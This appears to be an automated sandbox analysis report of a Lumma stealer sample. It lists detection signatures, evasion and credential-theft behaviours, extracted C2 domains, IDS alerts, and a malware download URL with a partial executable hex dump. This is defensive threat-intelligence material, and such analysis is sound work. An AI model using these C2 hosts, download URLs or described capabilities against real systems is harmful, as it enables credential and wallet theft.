Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556961
MD5:	f9a9e7845b395f013b6ca1d888749674
SHA1:	2b07267be8b50f2512ca7cc5d5a315471218b91d
SHA256:	a1f3cae3226d4e1ff7515b22a30268212a01b19be74b201e30049c158b7e45b0
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7412 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F9A9E7845B395F013B6CA1D888749674)

chrome.exe (PID: 8064 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1976,i,14280019992165934311,3972087755175190849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7856 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=852 --field-trial-handle=2024,i,6837492057727512573,15920123878915027554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs", "processhol.sbs"], "Build id": "mn0P--0"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: file.exe PID: 7412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7412	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T20:12:09.364870+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-16T20:12:10.852189+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-16T20:12:14.613199+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-16T20:12:16.153036+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-16T20:12:17.806714+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-16T20:12:19.537055+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-16T20:12:21.435559+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-16T20:12:31.936392+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T20:12:10.118062+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-16T20:12:12.961144+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-16T20:12:32.400182+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T20:12:10.118062+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T20:12:12.961144+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T20:12:33.346372+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T20:12:20.250464+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/off/def.exeN

Avira URL Cloud: Label: phishing

Found malware configuration

Source: file.exe.7412.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs", "processhol.sbs"], "Build id": "mn0P--0"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49869 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs

Source: global traffic

TCP traffic: 192.168.2.4:63283 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 19:12:33 GMTContent-Type: application/octet-streamContent-Length: 2791424Last-Modified: Sat, 16 Nov 2024 19:00:31 GMTConnection: keep-aliveETag: "6738ebcf-2a9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c0 75 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 72 74 79 6e 62 79 69 00 40 2a 00 00 a0 00 00 00 36 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 67 6a 66 6c 6f 76 00 20 00 00 00 e0 2a 00 00 06 00 00 00 70 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 76 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+7vLtpV9PoSKS8u&MD=7veRZGpl HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
